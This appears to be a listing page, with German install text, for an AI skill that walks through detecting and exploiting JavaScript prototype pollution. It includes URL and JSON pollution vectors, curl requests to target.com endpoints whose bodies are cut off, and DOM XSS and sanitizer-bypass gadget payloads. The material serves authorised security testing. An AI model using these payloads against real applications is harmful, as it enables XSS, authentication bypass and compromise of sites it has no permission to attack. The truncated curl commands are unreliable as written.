Detect and exploit JavaScript prototype pollution vulnerabilities on both client-side and server-side applications to achieve XSS, RCE, and authentication bypass through property injection.
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
Detect and exploit JavaScript prototype pollution vulnerabilities on both client-side and server-side applications to achieve XSS, RCE, and authentication bypass through property injection.
When testing Node.js or JavaScript-heavy web applications
During assessment of APIs accepting deep-merged JSON objects
When testing client-side JavaScript frameworks for DOM XSS via prototype pollution
During code review of object merge/clone/extend operations
When evaluating npm packages for prototype pollution gadgets
Prerequisites
Burp Suite with DOM Invader extension for client-side prototype pollution detection
Node.js development environment for server-side testing
Understanding of JavaScript prototype chain and object inheritance
Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)
Prototype Pollution Gadgets Scanner Burp extension for server-side detection
Browser developer console for client-side prototype manipulation
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Identify Prototype Pollution Sources
// Client-side: Test URL-based sources// Navigate to: http://target.com/page?__proto__[polluted]=true// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true// Check in browser console:console.log(({}).polluted); // If returns "true", pollution confirmed// Common URL-based pollution vectors:// ?__proto__[key]=value// ?__proto__.key=value// ?constructor[prototype][key]=value// ?constructor.prototype.key=value// Hash fragment pollution:// http://target.com/#__proto__[key]=value
Step 2 — Test Server-Side Prototype Pollution
# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d
curl -X POST http://target.com/api/update \
-H \
-d
curl -X POST http://target.com/api/merge \
-H \
-d
curl -X POST http://target.com/api/settings \
-H \
-d
// Step 1: Find pollution source (URL parameter, JSON input, postMessage)// Step 2: Find a gadget - a property read from prototype that reaches a sink// Common gadgets for DOM XSS:// innerHTML gadget:// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>// jQuery $.html() gadget:// ?__proto__[html]=<img/src/onerror=alert(1)>// transport URL gadget (common in analytics scripts):// ?__proto__[transport_url]=data:,alert(1)//// Sanitizer bypass via prototype pollution:// ?__proto__[allowedTags]=<script>// ?__proto__[tagName]=IMG// Use DOM Invader (Burp Suite built-in):// 1. Enable DOM Invader in Burp's embedded browser// 2. Enable Prototype Pollution option// 3. Browse application - DOM Invader auto-detects sources// 4. Click "Scan for gadgets" to find exploitable sinks